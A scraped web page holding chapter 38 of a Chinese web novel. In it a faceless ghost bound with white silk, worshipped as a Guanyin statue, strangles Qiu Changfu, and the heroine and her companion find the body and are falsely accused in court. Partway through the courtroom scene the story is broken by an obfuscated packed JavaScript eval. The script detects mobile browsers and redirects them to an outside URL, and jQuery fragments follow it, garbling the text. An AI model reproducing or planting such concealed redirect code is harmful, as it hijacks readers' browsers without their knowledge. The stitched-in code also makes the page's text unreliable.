38. 收你宝命

作品:《游历人间我缺魂少魄

    签官睁开眼睛,慢慢环视着屋子,左手里的拂尘一甩,直言邱老二是撞煞才会如此。


    邱丰次子长硕问她该如何解煞,签官沉默一会儿,说也不难,只需让他取来八卦镜与葫芦来,再由她施法,那么再狠的煞气也会烟消云散。


    她轻抬拂尘指着邱家大门,道:“二公子将八卦镜放在门中央,”说完又转身来到镇长身边,“然后再将葫芦悬挂在邱老爷房前便可。”


    “如此,邱老爷便会神智清明。”


    邱长硕与镇长频频点头,马上叫来下人取来这些东西。


    夜半时分,邱财披散着头发悄悄从狗洞里钻进邱老二家。


    如法炮制,趁着下人们都不在,他轻手轻脚的推开房门,准备再吓一次二弟。


    只是有件事他没料到,白天签官解释如何破煞时邱老二恰巧站在后门。


    他如今被吓的脑子糊涂,话并没听全,只听到什么“要狠”“才能解”。


    老头怕死,颤悠悠的从厨房里偷了把刀藏在了枕头下。


    邱财刚到床边,就见邱老二一把从枕下掏出刀,明晃晃的刀冲着他砍了过来。


    只差半个拳头的距离刀就砍到头上,眼下保命要紧,也别再提给老二个教训了。


    邱财吓得拔腿就跑,踉跄着又从狗洞里钻了出去。


    慌乱下他一顿乱跑,竟跑到了观音堂。


    “娘娘保佑……娘娘保佑……”


    邱老大急忙推开门,气喘吁吁的躲在堂中的大柱子后面。


    他佝偻着腰,手扶着柱子顺气,嘴里还不忘骂着自己的二弟,只叹自己差点真做了鬼。


    冷汗浸透衣服他只觉得周围冷得很,休息片刻后,他靠着柱子慢慢坐在地上,双手合上对着上面站立的娘娘像叩拜。


    突然——


    娘娘像的脸上竟冒出一团团黑气!


    慈祥面庞开始变得凶神恶煞,不多时,居然有个人影从佛像手中的“玉净瓶”里飞了出来。


    “娘哎!”


    邱财双眼瞪得老大,哆嗦着躲在柱子后边,心里纳闷怎么娘娘像如此恐怖。


    他大气不敢喘,浑浊的双眼盯着飞出来的人影,好奇它到底是个什么玩意。


    只见一个瘦高人影落在桌前,邱财看不出是男是女,也看不清它的长相,只看到它脖子上系着根长长的白绫。


    它一点点转动着身子,被白绫勒紧的脖子发出“咯吱”“咯吱”的声响。


    邱老大紧紧抓住袖口,吓得尿了裤子,此时他终于明白,原来所谓的“观音娘娘”竟是个妖怪。


    而他们来善镇这么长时间竟把个妖怪供了起来。


    原来镇上死的那些人是被这东西害得……


    邱财强压住恐惧,只想“娘娘”快点离去,自己好能逃命。


    缢死无面怪缓缓飘到门前,邱老大心里求它快走,却听到门外一道熟悉的声音。


    “爹……爹……爹你在这么?”


    这明显是大儿子邱长富的声音!


    原来大儿子长富在家中等了许久也不见自己的爹回去,怕他遇到危险,于是与二弟两人分开寻找。


    邱长宝去了邱老二家找,他则来观音堂这边试试,看找不找得到自家老爹。


    顾不得自己,邱财大喊着让儿子快跑。


    “爹?”邱长富疑惑的走上台阶,凑近木门试探着寻问,“爹是你么?”


    他刚迈步来到门前,只听“砰”的一声。


    堂门炸裂,一道白绫从堂内飞出,如蛇一般绕上脖子。


    邱长富吓得急忙去拽,可被酒色掏空的身子哪里还有力气,恐慌中被勒紧的白绫吊了起来。


    邱财连滚带爬的冲了出来,抱住“娘娘”请求放过自己的儿子。


    “咔嚓”


    白绫左右两边一扯,刚才还在挣扎的邱长富转眼颈骨断裂,四肢像面条一样软软的坠在身侧。


    “长富啊!”


    邱财扑过去抱住掉下来的死尸,老泪横流的嚎叫。


    他转头狠狠得盯着杀他儿子的妖怪,却看到无面怪的白绫慢慢飘向自己。


    他胆怯了,将大儿子的尸身一丢,捂着头扭头就跑。


    “别怪爹啊……长富……”邱财不停地念叨着,布满褶子的脸上尽是泪。


    他一路小跑,远远看见自家大门外挂着的灯笼,于是他像耗子一样冲了进去。


    打盹的下人竟没一个发现自家老爷回来了。


    小儿子邱长宝也是才到家,他没找到爹的踪影,猜想大哥那边应该有消息。


    心里骂着自家老爹一大把年纪玩什么“鬼吓人”的把戏,如今都不归家了。


    他往大厅走去,想在那里等大哥回来。


    正愣神时突然一道人影从背后跑来,他手疾眼快的认出是自己父亲,急忙将人拉住。


    “爹?”他拽住人朝自家大门外看了看,“你怎么在这呢?大哥呢,你见着没?”


    “大哥?”邱财还未缓过神来,怔愣地看着眼前的年轻人,待看清人的样貌,大嘴一咧,搂住小儿子哭了出来。


    “长宝啊!”


    邱长宝纳闷自家老爹怎么出去一趟就跟二叔似的傻了,扶着老头往厅里走。


    “爹,哭啥哭,大晚上听着怪吓人的……”


    邱长宝烦他只哭不说话,给他爹倒了杯水,问他到底怎么了。


    哭得上气不接下气的邱老大捧着杯子刚要开口,一抬头,便看见那个“娘娘正站在小儿子的背后。


    它明明没有五官,但邱财能看出它正在发怒,“娘娘”手臂一抬,枯枝般的手指着邱长宝。


    “我错了……娘娘我错了……您高抬贵手放了我们吧……”


    “扑通”


    邱老大跪在地上不住的磕头,任次子怎么扶也不起身。


    被威胁的邱老大现在只想保住小儿子,颤抖着嘴说自己绝不会泄露秘密,保证不乱说。


    缢死怪收回四散的白绫,在一声声求饶里慢慢消失……


    厅堂内烛火幽幽,光线越来越暗,冰凉的地面上跪着邱家父子,树上的夜猫子“咕咕”的叫着。


    ……


    朝阳初升,赵知行与符鹤伴着日出漫步在郊外,昨日他俩匆匆离开,现在天灾已过,两人准备回客栈好好梳洗一翻。


    赵知行面朝符鹤倒着走,吃着手里带着露珠的野果,符鹤神色虽冷,却时时提醒着她小心脚下的石头。


    清风微动,赵知行头上的珠钗随风而摆。


    叮铃”“叮铃”悦耳动听。


    眉眼如画的冷清仙君看着眼前的紫衣女子,不经意间露出一抹笑容。


    远处的树上影影绰绰,符鹤渐渐停下步伐。


    “怎么了?”赵知行歪着头在他眼前晃了晃手问道。


    符鹤目不转睛的望着赵知行背后的那棵树。


    赵知行回身,也一同看过去。


    她前面那棵树郁郁葱葱,仔细一瞧竟有个东西随着风在枝丫中摆动。


    不等赵知行出声,墨色锦袍微动,人已经飞了过去。


    黑色锦靴点在枝干上,符鹤黑色长发垂落胸前,他白皙修长的手扶住树干,慢慢蹲了下来。


    “是谁?”


    树下的寻问声平淡冷静,赵知行仰着头看着隐在树叶中的符鹤。


    “……邱长富”


    符鹤手指一弹手臂一挥,系在树上的麻绳立刻松脱,接着被吊在树上的尸体缓缓落下。


    赵知行站在尸体旁边低头一看,果然是邱财那个一脸肾虚的大儿子。


    她上下打量,发现这人脸青紫,眼中出血,五官扭曲,颈骨尽断,颈上有着一道深深的勒痕和几道抓痕,裤下一片脏污。


    “是被人勒死后悬挂在这里的。”


    赵知行抓起邱长富的袖子看了看他的指甲,又抬起他的头看了眼他的脖子后面,道:“你看,他脖子上的勒痕明显与这条麻绳的纹路对不上。”


    她指了指系在颈上的麻绳,叹道:


    “真是麻烦……”


    符鹤轻轻落在她身边,看了看四周,轻声问她接下来如何做。


    “唉,报官吧,”赵知行无奈的摇了摇头,她看着勒痕,突然想起孙小桃遇害的那晚,那个妖怪便是用白绫害人……


    两人回到镇子上,一起进了县衙,把在郊外发现邱长富尸体的事说与县令。


    县令大惊,怎么邱老大才死,他大儿子也没了。


    于是急忙命人去郊外林中把尸体带回来。


    只是这样,赵知行与符鹤暂时不能离开县衙了。


    约摸到了晌午,捕快们抬着尸体返了回来,他们将尸体轻轻放在县衙大堂中央。


    县令撩着下摆急忙跑过来,白布掀开,映入眼帘的果然是邱财的长子。


    “来人啊,”他唤来一个捕头,“去邱财家通知邱长宝,让他来一趟。”


    捕快一抱拳随即跑了出去。


    不多时,邱长宝随着捕头来到县衙,昨晚他爹疯疯癫癫的跑了回来,他等了一宿也没见大哥回来。


    哪想到再见面他大哥已经去了阴曹地府!


    “哥?”邱长宝来到尸体旁边,只见一脸青紫的邱长富躺在县衙大堂的地上,他震惊,“怎么可能呢,哥?”


    邱长宝到底没忍住哭了出来,扑在邱长富身上喊着他的名字。


    大堂上的人都不敢出声,两个捕快犹豫了一下上去将人拉走。


    “大人,我哥在哪死的!”


    县令长叹一声,指了指旁边的赵知行与符鹤,说是这两人在郊外发现的。


    邱长宝抹掉泪,疑惑的扫了眼赵知行,这女子身穿紫裙头带珠钗,容貌清丽,杏眼桃腮,真是仙子一般的美人。


    他突然想到前些日子下人说,他大哥带了位紫衣姑娘回家的事。


    怕不是这人?


    又联想到邱长富日前落水,邱长宝瞪着双眼,向县令一抱拳,直说是这两人害得他大哥。


    县令撇着嘴问他可有证据,不能诬陷好人啊。


    邱长富便将他大哥把赵知行带入府的事说了出来。


    “大人,这人前些日子来到府上,与我大哥的姬妾们争宠,”邱长宝信誓旦旦的回道,“她定是因为不能嫁于我大哥而怀恨在心,所以伙同那人一起杀了我大哥。”


    说着他指了指赵知行身边一身黑衣的符鹤,咬死说两人是凶手。


    “他们为洗脱嫌疑假意报官,真是贼喊捉贼,他们就是害死我大哥的凶手!”


    说着跪在地上要县令作主,抓了两人。


    “这……”县令本来也是个糊涂蛋,两眼犯难得看着堂下众人。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068705|195186||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“大人,我与符公子从昨日便离开来善镇,直到今日清晨才回来,”赵知行微微福身,然后指着大堂外看热闹的百姓,道:“若是不信可以问问外面的大伙。”


    也是赵知行与符鹤气质出众容貌俊美,小镇的百姓只看一眼便记得深刻。


    有人站出来给他们俩作证,那边仵作也验尸完毕,说出邱长富大概被杀的时间。


    这个时间段他们两人确是不在来善镇。


    县令一拍惊堂木,先让几人回去,暂时不准离开来善镇,并让捕头收了邱长富的尸体,然后一声“退堂”打发了几人。


    邱长宝还想将县令叫回来,可县令没有理他,捕头小声劝他先回去,等有其他消息再告诉他。


    邱长宝只好先吞下这口气,瞪着赵知行与符鹤,冷哼一声带着下人离开大堂。


    赵知行与符鹤也出了县衙,两人朝着客栈的方向走去。


    “你在想什么?”符鹤看她一路都在沉思,轻声问她。


    “我在想,会不会是那晚杀小桃的怪做的……”她想起邱长富颈上的勒痕,将心里疑虑说给符鹤。


    当初那个“娘娘”去了邱老大家下指示,没多久管家便死了,于是邱财为躲祸假死。


    难道说真是应验了?


    符鹤跟在她身边听她说话,听到此处突然停下脚步,赵知行“嗯?”了一声看他。


    “那晚,它可是指了你的。”


    如此说来,那怪下一个目标便是赵知行。


    看出他的担忧,赵知行反而笑了出来,只说让它尽管来,她到是想看看它与天雷谁更厉害。


    “又胡说……”


    符鹤轻抿薄唇嗔了他一句,然后慢慢走到她面前,轻轻将她要掉了的发簪重新插了回去。


    赵知行唇角带笑,看着眼前仙君冷峻的容颜,心里窃喜。


    “赵姑娘、符公子,来买肉啊?”


    一记响亮的声音打断两人,说话的正是铁匠周虎。


    “咦?”赵知行回身看到周虎一愣,“我们怎么来这儿了?”


    本想着回客栈的,结果两人聊得太入迷竟走错了路,不知何时两人竟站在孙小桃的肉铺前。


    “周大哥,小桃又去哪了?”见店门紧闭,赵知行好奇的问道。


    “桃儿去收账了。”


    周虎说两人准备离开来善镇了。


    “我们只想平安的过过小日子,这里太危险了。”周虎小声跟两人解释。


    “也好……”


    赵知行点点头,看了眼观音堂的方向,淡淡说道。


    ……


    另一边,孙小桃收回一些帐正往家赶。


    有些人觉得日子不到不想给,她也不和那人扯皮,只想着赶快回家。


    可好巧不巧,还有个人与她同路,而这人为了找自己的麻烦将随行的小厮与丫鬟打发走,跟在自己身后像个鸟似的叽叽喳喳没完。


    “哎,我说的你听到没有!”


    她身后的小姑娘穿着嫩鹅黄的罗裙,小脸巴掌大,一张嘴露出两颗尖尖的虎牙,瞪着水汪汪的大眼睛,蛮不讲理的伸手拉住她。


    这人正是与孙小桃同岁的、隔壁上谷镇的黄喜桃。


    上次故意欠她银子的就是这人。


    不想与她计较,孙小桃拨开她的手继续赶路。


    然而小姑娘更不乐意了,她气冲冲的跑到小桃前面张开手拦住她不让走。


    “我看在慧姨的面子上忍你很多次了,”孙小桃皱眉看着她,“你再无理取闹我打你哦!”


    说完从腰后掏出杀猪刀晃了晃,打算吓一吓她。


    黄喜桃看着刀刃喉咙一动,怯怯地收回手让人走了过去。


    她跟在孙小桃身后,随手拔了根狗尾草,气鼓鼓的抽打着。


    前面赶路的小桃用余光偷偷看了眼身后的小姑娘,确认她有好好跟着自己才放心。


    其实她与黄喜桃没什么过节,只不过因为名字的关系,她觉得自己不配跟她用一个名字,因此总是找茬。


    “山里狼多,你还是回车里吧,”身后的小姑娘跟个尾巴似的跟着自己,孙小桃担心她走不了山路,“而且山里容易闹妖怪,小心被吃哦。”


    “狼……妖……妖怪?”黄喜桃顿时觉得四周阴风阵阵的,到底是害怕了,拧着手里的帕子犹豫着要不要听话。


    不行,她一叉腰,装作不害怕的样子指着孙小桃,道:


    “你把名字改了,我就回去!”


    “……”孙小桃彻底气了,翻着白眼看她。


    “哪天让慧姨带你去看看,开几副方子,治治你的脑子!”


    “你骂谁脑子不好呢!”


    听出不是好话,黄大小姐的倔脾气上来,上前与孙小桃拉扯起来。


    “你给我改名,听到没有,改……”


    突然,孙小桃感觉拉扯自己衣服的手泄了劲,大小姐浑身发抖脸色煞白的盯着自己。


    “怎么了,我伤着你了?”


    以为是力道大,弄疼了她,孙小桃急忙上下看了看。


    “没有啊,你怎么了?”


    发现她并不是在看自己,孙小桃赶紧回身向后看去。


    只见离两人不远处,一个瘦高人影正直勾勾的盯着她们。


    而那人的脖子上,缠绕着一道长长的白绫……